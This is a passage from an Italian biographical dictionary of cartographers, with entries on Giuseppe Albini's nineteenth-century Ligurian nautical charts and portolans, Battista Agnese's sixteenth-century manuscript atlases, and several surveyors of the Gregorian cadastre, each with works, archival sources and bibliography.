La copia della BUG contiene, rilegata nel volume ma ad esso estranea (per diversi caratteri tipografici, cornice con indicazione di latitudine e longitudine e cartiglio) una «CARTA/ DEL/ LITTORALE DELLA LIGURIA E CONTADO/ NIZZA I principiando dal fiume del Varo fino a quello / della Magra / in parte Sondata dagli Uff.li e Piloti/ della Marina in varie riprese. / Sotto la direzione del V.ce Ammiraglio / C.re G.pe ALBINI/ Genova/ 1854, da non confondere con altra opera (anche questa conservata presso la BUG, mise. E. 2. 14) intitolata CARTA/ IDROGRAFI­CA I del Littorale della Liguria/ e/ CONTADO di NIZZA I principiando dal Fiu­me del Varo sino a quello della/ Magra/ in PARTE SONDATA DAGLI UFFI­CIALI E PILOTI/ DELLA MARINA IN V ARIE RIPRESE/ sotto la direzione del Vice Amm.lio / C.r [sic] G.pe ALBINI/ Genova/ incisa/ nello stabilimento grafico e Calcografico di Nicolò Armanino Genova/ Via Garibaldi n° 204». In basso a sini­stra è firmata da un incisore, «G. Woiciechowski Lit.», altrimenti ignoto.
Rispetto alla prima, questa carta è molto più grande e contiene più dettagli: ad esempio è raffigurato sulla carta il cerchio entro il quale è visibile ogni singolo faro ligure, con la precisazione del tipo di luce visibile (per es. Faro di Genova, visibile da Varazze a Portofino, «Luce a Eclisse di minuto in minuto»; faro di Por­tofino, visibile da Quinto a Riva Trigoso, «Luce a Eclisse con lampi di 3 in 3 se­condi»). Entrambi i prodotti cartografici sono pervenuti alla biblioteca nazionale genovese dall'eredità Sertorio nel 1903.
In tutte le carte di Albini sono indicate le misure dei fondali e quasi sempre si pre­cisa la «qualità» del fondale con una lettera («Annotazioni: I Numeri delle sonde sono braccia da piedi 5 francesi e le lettere la qualità: A. Alga F. Fango P. Pietra S. Sabbia»).
In tutte le sue opere è sempre compresa Villafranca di Nizza, sua città natale, cui dedica anche la tavola di pagina 5 del suo Portolano 1855. Tutte fanno riferimento al Meridiano di Parigi (anziché quello di Greenwich) per quanto attiene alla longi­tudine: quindi il Faro di Genova risulta essere «Lat. del Faro 44' [Sic, per 44°] 24' 8" Nord, Long. 6° 34' 4" est del Meridiano di Parigi».
Guida del Piloto nel Littorale dell'isola di Sardegna, Torino, G. Fodratti, 1843, 80 pp. (una copia nota presso la Bibliotec.a Nazionale Universitaria di Torino secondo CLIO p. 68; altra presso Istituto Idrografico della Marina). Quest'opera è stata oggetto di una ristampa (AA. VV., 1988).
Guida del navigante nel Littorale della Liguria, nel Principato di Monaco, nella con­tea di Nizza e nell'isola di Capraja, Genova, Sordomuti, 1855, 94 pp. Unica copia nota (secondo CL.I.O., 1991, p. 68), alla Biblioteca Universitaria di Genova: BUG MISC.C. 22.37.; altra copia presso BCNF Palar. 30.6.4.23.II. Si tratta di un testo portolanico del tutto 1;rivo di illustrazioni: manca sia la cartografia azimutale, sia le vedute dal largo. Il che in parte giustifica la scelta di cambiare editore, visto che la cartografut preferisce stamparla, nello stesso anno, presso la calcografia Ar­manino. La guida include una descrizione di Capraia perché, come è noto, pur possedimento genovese (dal 1507) rimase esclusa dalla cessione della Corsica alla Francia e seguì l'annessione di Genova al Regno di Sardegna. A p. 84 scrive: «nel­la lunga navigazione da me fatta in questo mare dal 1816 al 1849 ebbi più volte luogo ad esperimentare il corso delle acque, confrontarle colle osservazioni fatte dagli autori di alcuni Portolani, come per esempio Michelot, Gorgolione [sic], Bougart, Wooght, ed altri più recenti ancora, ma nulla si combina con quelle fatte dal barone Dè-Zac, che sono le seguenti ... » e poi elenca una serie di osservazioni sulle correnti e sulle maree.

Produzione di cartografia manoscritta:
Nessuna.

Produzione di cartografia a stampa:
- Portolano della Sardegna, Torino, Stab. Litografico ed autografico Doyen e C., 1842, composto da 28 tavole, di scala diversa, tutte 30x45 cm. (diverse copie, tra cui: Biblioteca Centrale Nazionale di Firenze (BCNF) Palat. 8.6.6.16.; o Cagliari, Biblioteca dell'Università, Sala Sarda, Ms. 208).
- Carta Idrografica del Littorale della Liguria, Genova, Armanino, 1854. 1 foglio. Di­mensioni: larga 122 cm, alta 61 cm.
- Carta del Littorale della Liguria, Genova, Armanino, 1854 (recte 1855). 1 foglio. Dimensioni: larga 62 cm, alta 31 cm. La data 1854 è nel cartiglio e allude forse al disegno, la data 1855 è della calcografia Armanino.
- Portolano della Liguria, Genova, Armanino, 1854 (recte: 1855), composto di 22 tavole, di scala diversa, tutte 30x43 cm. (diverse copie, tra cui: BCNF Palat. 30.6.3.9.; o Biblioteca Universitaria di Genova, 4.K.K.VI.1; altra copia presso Isti­tuto Idrografico della Marina). La data 1854 è nella Prefazione e nei cartigli e allu­de forse al disegno, la data 1855 è della calcografia Armanino.

Fonti d’archivio:

Bibliografia:
G. ALBINI, Il portolano della Sardegna, a cura di M. MURTAS e G. SABA, Introduzione di Pasquale Brandis, Sassari, Isorma, 1988.
AA. Vv., CLI.O. Catalogo dei Libri Italiani dell'Ottocento (1801-1900). Val. 1
Autori A-CAL, Milano, Ed. Bibliografica, 1991, pp. 68-69.
E. COSTA, Albini, Giuseppe, in Dizionario Biografico dei Liguri, Genova, Consulta Ligure, 1992.
Grande Dizionario Enciclopedico, Torino, UTET, 1954, II ediz., vol. I.
A. MALATESTA, Ministri; deputati; senatori dal 1848 al 1922, Enciclopedia Biografica e Bibliografica Italiana, vol. I, Roma, 1940.
P. PIERI, Storia militare del Risorgimento. Guerre e insurrezioni, Torino, Einaudi, 1962.
E.PRASCA, La marina da guerra di Casa Savoia, in «Rivista Marittima», XXV, n. 4, n. 4, 1982.
C. RANDACCIO, Storia delle marine italiane dal 1750 al 1860 e della marina militare italiana dal 1860 al 1870, Roma, Forzani, 1886.
M.Rosi, Dizionario del Risorgimento nazionale, Milano, 1931-1937, vol. Il.
J.B. TOSELLI, Biographie niçoise ancienne et moderne ou dictionnarire historique de tous !es hommes qui se sont fait remarquer par leurs actions, Nice, 1860, t. I, pp. 18-23.
A.V. VECCHI, Storia generale della marina militare, 3 voli., Firenze-Livorno, Tip. Cooperativa Editrice, 1892-1895.
Repertori cartobibliogra/ici
P.PRESCIUTTINI, Coste del Mediterraneo nella cartografia europea 1500-1900, Ivrea, Priuli e Verlucca, 2004.
R.V. TooLEY, Tooley's Dictionary o/ Mapmakers, with a preface by Helen Wallis, New York-Amsterdam, Alan R.Liss -Meridian publishing, 1978.

Altro:

Rimandi ad altre schede: Gravier

Autore della scheda: Michele Castelnovi

Agnese, Battista (GE)

Agnese Battista
N.
M.

Relazioni di parentela: Non se ne conoscono.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Attivo a Venezia dal 1514 al 1564.

Produzione scientifica:
Opere Attribuite:

25) Atlante di 7 carte, 1535 ?, (W.I) British Library, Londra.
26) Atlante di 7 carte, 1536?, (W.II) Biblioteca Vaticana.
27) Atlante di 8 carte, 1536?, (W.III) Biblioteca Vaticana.
28) Atlante di 8 carte, 1536 ?, (W.V) Bodleian Library, Oxford.
29) Atlante di i 9 carte, 1536?, (W.VII) Biblioteca Trivulziana, Milano.
30) Atlante di 9 carte, 1536-1538, (W.VI) Sociedad de Geografia, Lisbona.
31) Atlante di 10 carte, 1536?, (W.VIII) Museo Correr, Venezia.
32) Atlante di di 10 carte, 1536?, (W. IX) Sachsische Landesbibliothek, Dresda.
33) Atlante di 10 carte, 1539-1540, (W.X) Huntington Library, San Marino (California)
34) Atlante di 7 carte, 1539-1540, Asta Sotheby's, 6-12-1988.
35) Atlante di 9 carte, 1541?, (W.XI) Parigi, proprietà privata?
36) Atlante di 10 carte, 1541?, (W.XII) Kungliga Bibliotheket, Stoccolma.
37) Atlante di 10 carte, 1541?, (W.XIII) Bibliothèque Nationale, Parigi.
38) Atlante di 10 carte, 1541?, (W.XIV) Biblioteca Queriniana, Brescia.
39) Atlante di 10 carte, 1541?, (W.XV) Preussische Staatsbibliothek, Berlino.
40) Atlante di 10 carte, 1541?, (W.XVI) Bayerische Staatsbibliothek, Monaco.
41) Atlante di 10 carte, 1542?, (W.XVII) Nationalbibliothek, Vienna.
42) Atlante di 10 carte, 1542?, (W.XVIII) Londra, proprietà privata?
43) Atlante di 12 carte, 1542?, (W.XXIV) Harff, proprietà privata?
44) Atlante di 12 carte, 1542?, (W.LXIX), Lambeth Palace, Londra.
45) Atlante di 12 carte, 1542?, (W.XXV) Biblioteca Ambrosiana, Milano.
46) Atlante di 11 carte, 1543-1545?, (W.XXXII) John Carter Brown Library, Providence (Rhode Island).
47) Atlante di 10 carte, 1543-1545?, (W.XXXIII) Library of Congress, Wa­shington.
48) Atlante di 11 carte, 1543-1545?, (W.XXXIV) Huntington Library, San Mari- no (California).
49) Atlante di 12 carte, 1543-1545?, (W.XXXV) Biblioteca Reale, Torino.
50) Atlante di 11 carte, 1543-1545?, (W.LXIII), Wolfegg, proprietà privata.
51) Atlante di 6 carte, 1545?, (W.XXXVI) Newberry Library, Chicago.
52) Atlante di 10 carte, 1545?, (W.XXXVIII) Biblioteca Vaticana, Roma.
53) Atlante di 10 carte, 1545?, (W.XXXIX) Biblioteca Vaticana, Roma.
54) Atlante di 14 carte, 1545?, (W.XL) Hispanic Society, New York.
55) Atlante di 14 carte, 1545?, (W.LI) Biblioteca Vaticana, Roma.
56) Atlante di 10 carte, 1545?, (W.XLII) August Herzog Bibliothek, Wolf­enbiittel.
57) Atlante di 10 carte, 1545?, (W.XLIII) Pierpont Morgan Library, New York.
58) Atlante di 16 carte, 1550?, (W.XLIV) Huntington Library, San Marino (Ca­lifornia).
59) Atlante di 17 carte, 1550?, (W.XLV) Bibliothèque de l'Ecole de Medicine de l'Université, Montpellier.
60) Atlante di 10 carte, 1550?, (W.XLVI) Biblioteca Nazionale, Firenze.
61) Atlante di 16 carte, 1550?, (W.XLVII) Preussische Staatsbibliothek, Berlino.
62) Atlante di 14 carte, 1550?, (W.XLVIII) Museo Correr, Venezia.
63) Atlante di 19 carte, 1550?, (W.XLIX) Universitatsbibliothek, Monaco.
64) Carta nautica, 1550?, Universitatsbibliothek, Gottingen.
65) Atlante di 13 carte, 1552?, (W.L) Espelunda, proprietà privata?
66) Atlante di 10 carte, 1552?, (W.LI) Royal Geographical Society, Londra.
67) Atlante di 15 carte, 1552?, (W.LII) Public Library, New York.
68) Atlante di 11 carte, 1552?, (W.LIII) già Universitatsbibliothek, Konisberg.
69) Atlante di 14 carte, 1552?, Zentralbibliotek, Zurigo.
70) Atlante di 26 carte, 1553-1564?, (W.LIX), Biblioteca.Nazionale, Napoli.
71) Atlante di 26 carte, 1553-1564?, (W.LX), Biblioteca Laurenziana, Firenze.
72) Atlante di 8 carte, 1553-1564?, (W.LIX), Bodleian Library, Oxford.
73) Atlante di 17 carte, 1553-1564?, Biblioteca Civica, Bergamo.
74) Atlante di 24 carte, 1553-1564?, (W.LXX), Preussische Staatsbibliothek, Berlino.
75) Atlante di 18 carte, 1553-1564?, (W.LXV), Biblioteca Universitaria, Bologna.
76) Atlante di 15 carte, 1553-1564?, (W.LXVI), Newberry Library, Chicago.
77) Atlante di 9 carte, 1553-1564?, (W.LXVII), Newberry Library, Chicago.
78) Atlante di 28 carte, 1553-1564?, (W.LXVIII), Biblioteca Reale, Torino.
79) Atlante ... ,?, Admiralty Library, Londra.

Produzione di cartografia manoscritta:
Opere firmate (tra parentesi la numerazione del Wagner):
1) Baptista Januensis f Venetiis MCCCCCXIV ... Julii, carta nautica, 1514, August Herzog Bibliothek, W olfenbuttell.
2) Baptista Agnesius Ianuensis fecit Venetijs 1536 die 13 octobr., atlante di 11 carte, 1536 (Wagner N) British Library, Londra.
3) Baptista agnese ianuensis fecit venetiis 15 -die Februarij, No. 1, atlante di 12 carte, 1542 ?, (Wagner XIX) Nationalbibliothek, Vienna.
4) Baptista agnese fecit venetiis 1542 die 15 mai, atlante di 10 carte, 1542, (Wagner XX) Pierpont Morgan Library, New York.
5) Baptista agnese Januensi fecit venetijs 1542 ... Junij, atlante di 11 carte, 1542, (Wagner XXI) Landesbibliothek, Kassel.
6) Baptista agnese Januensis fecit venetijs 1542 die 28 Jun., atlante di 11 carte, 1542, (Wagner XXII) Biblioteca Vaticana.
7) Baptista agnese ianuensis fecit venetzjs anno domini 1542 die 25 setenbris, atlante di 12 carte, 1542, (Wagner XXIII) Hunterian Museum, Glasgow.
8) Baptista agnese Januensis fecit venetijs 1543 die 12 februarij, atlante di 11 car­te, 1543, (W agner XXVI) Biblioteca Laurenziana, Firenze.
9) Baptista agnese Januensis fecit venetijs 1543 die 18 februarij, atlante di 12 car­te, 1543, (Wagner XXVII) Forschungs-und Landesbibliothek, Gotha.
10) Baptista agnese Januensis fecit venetijs anno Domini 1543 die 25 junij, atlante di 10 carte, 1543, (Wagner XXVIII) Bibliothèque Nationale, Parigi.
11) Baptista agnese Januensis fecit venetijs 1544 die 5 februarij, atlante di 10 carte, 1544, (Wagner XXIX) Sachsische Landesbibliothek, Dresda.
12) Baptista agnese Januensis fecit venetijs 1544 die 5 februarij, atlante di 10 carte, Asta Christie's 2-12-1987.
13) Baptista agnese fecit venettjs 1544. Die primo Julij, atlante di 11 carte, 1544, (Wagner XXX) Biblioteca Nacional, Madrid.
14) Baptista agnese /ecit venetiis 1544 die15 julii, atlante di 11 carte, 1554,(Wagner LXIV?) Centra! State Archives of the Navy, San Pietroburgo.
15) Baptista agnese ianuensis /ecit venetijs 1544 die 22 octob., atlante di 11 carte, 1544, (Wagner XXXI) Trinity College, Dublino.
16) Baptista agnese /ecit venetijs 1545 die 8 mai, atlante di 12 carte, 1545,(W agner XXXVII) Biblioteca Marciana, Venezia.
17) Baptista agnese Januensis /ecit venetijs 1546 die 26 mai}, atlante di 13 carte, Russian National Library, San Pietroburgo.
18) Baptista agnese /ecit venetij's anno domini 1553 die VII] Julije, atlante di 10 carte, 1553, (Wagner LIV) Huntington Library, San Marino (California).
19) Baptista agnese /ecit venetijs amno domini 15 5 3 die primo septembr ... , atlante di 29 carte, 1553, (Wagner LV) Museo Correr, Venezia.
20) No. Baptista palnese (sic) /ecit venetijs anno domini 1554 die 20 octobris tab.,(W agner LVI) Biblioteca Marciana, Venezia.
21) Baptista agnese /ecit venetijs amno domini 1555 die 24 marcis, atlante di 25 carte, 1555, (Wagner LVII), Westheim, proprietà privata?
22) Baptista agnese /ecit venetijs amno domini 1559 die 8 agusti, atlante di 23 carte, 1559, (Wagner LVIII), Londra, proprietà privata?
23) Baptista agnese /ecit venetijs 1562 die 4 /ebruarij, carta nautica, 1562, Biblioteca Universitaria, Catania.
24) Baptista agnese /ecit venetijs anno domini 1564 die 25 mai, atlante di 8 carte, (Wagner LXI) British Library, Londra.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
R.ALMAGIÀ, Su alcuni importanti cimeli cartografici conservati a Venezia, in «Atti dell'Ottavo Congresso Geografico Italiano», 1921, Firenze, 1923 pp. 295-302.
R.ALMAGIÀ, Una carta del 1514 attribuita a Battista Agnese, in «Rivista Geografica Italiana», 1949, pp. 167-168.
R.ANDREWS, Scotland in the portolan charts, in «Scottish Geographical Magazine», 1925-1926, pp. 129-153, 193-213, 293-306.
R.ANDREWS, The boundary between Scotland and England in the portolan charts, in «Proceedings of the Society of Antiquaries of Scotland», 1926, pp. 36-66.
L.BAGROW, Die Manuscript-Atlanten des Battista Agnese, in «Petermanns Mittei­lungen», 78, 1932, pp. 190-191.
G.CARACI, Di due carte di Battista Agnese, in «Rivista Geografica Italiana», 1928, pp. 227 -234.
G. R. CRONE, A manuscript atlas by Battista Agnese in the Society's Collection, in «The Geographical Joumal», 108, 1947, pp. 72-80.
P.FALCHETTA, L'Atlante di Battista Agnese (1554-1556), Venezia, Canal Multimedia, 1996.
G.FERRO, L'Atlante manoscritto della scuola di Battista Agnese conservato a Bergamo, in «Rivista Geografica Italiana», 1984, pp. 501-520.
I.KUPCfK, Karten van der schonen Neuen Welt: Aus dem Nachlass alter Portu­lankarten in Munchner Sammlungen, in «Kultur & Technik», 1992, pp. 22-29.
I.KUPCfK, Munchner Portolankarten, Miinchen, Deutscher Kunstverlag, 1999.
A.MAGNAGHI, L'atlante manoscritto di Battista Agnese della Biblioteca Reale di Torino, in <>, 1908, pp. 65-67. 135-148.
L.MALAVIALLE, Notice sur un portulan manuscrit de Battista Agnese, conservé à la Bibliothèque de l'Université de Montpellier, in «Bulletin de la Société docienne de Géographie», 1907 -1908.
Repertori carto-bibliografici
K.KRETSCHMER, Die Atlanten des Battista Agnese, «Zeitschrift der Gesellschaftfur Erdkunde zu Berlin>>, vol. 31, 1896, pp. 362-368.
H.R. WAGNER, The manuscript atlases of Battista Agnese, «The Papers of the Bibliographical Society of America», vol. 25, 1931, pp.1-110.
H.R. W AGNER, Additions to the manuscript atlases o/ Battista Agnese, «Imago Mundi», vol. 11, 1947, pp. 28-30.

Altro:

Rimandi ad altre schede:

Autore della scheda: Corradino Astengo

Ambrosetti, Ignazio

Ignazio Ambrosetti
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: geometra

Biografia:

Produzione scientifica:

Produzione di cartografia manoscritta:
- CANINO: CI 34, con l’aiuto di Bonifazi Nicola (25/05/1818-02/07/1818)
- BOLSENA: VT 107, 108 e 106, tutte con l’aiuto di Fedeli Luigi (28/07/1818-17/10/1818; 19/10/1818-31/10/1818; 02/11/1818-10/03/1819)
- CEPRANO: FR 44, 45 e 46, nei brogliardi si qualifica “Geometra Censuario”, tutte con l’aiuto di Ginei Falminio (14/04/1819-31/05/1819; 02/06/1819-30/07/1819; 01/08/1819-15/10/1819)

Produzione di cartografia a stampa:

Fonti d’archivio:
Catasto Gregoriano, ASR

Bibliografia:

Altro:

Rimandi ad altre schede:

Autore della scheda: Adriano Ruggeri

Alesi, Paolo

Paolo Alesi
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Aiutante di Brasca Angelo (RI 167 e 168, in entrambe: “Aiut.e Cens.o”)

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:
Catasto Gregoriano, ASR

Bibliografia:

Altro:

Rimandi ad altre schede: Brasca Angelo

Autore della scheda: Adriano Ruggeri

Alietto (o Allietto), Vincenzo

Vincenzo Alietto (o Allietto)
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: geometra

Biografia:

Produzione scientifica:

Produzione di cartografia manoscritta:
- CASTELLUCCIO: SP 187 (03/08/1818-02/09/1818)
- ANCARANO: SP 195 e 196 (07/09/1818-14/10/1818; 15/10/1818-15/12/1818)
- CANNARA: SP 329 (04/01/1819-04/04/1819)
- LIMIGIANO: SP 333 (21/04/1819-18/05/1819)
- MONTE S. GIOVANNI: RI 24, 23, 25 e 22; tutte con l’aiuto di Primavera Mallio (25/05/1819-15/07/1819; 17/07/1819-12/08/1819; 13/08/1819-31/08/1819; 07/09/1819-02/10/1819

Produzione di cartografia a stampa:

Fonti d’archivio:
Catasto Gregoriano, ASR

Bibliografia:

Altro:

Rimandi ad altre schede:

Autore della scheda: Adriano Ruggeri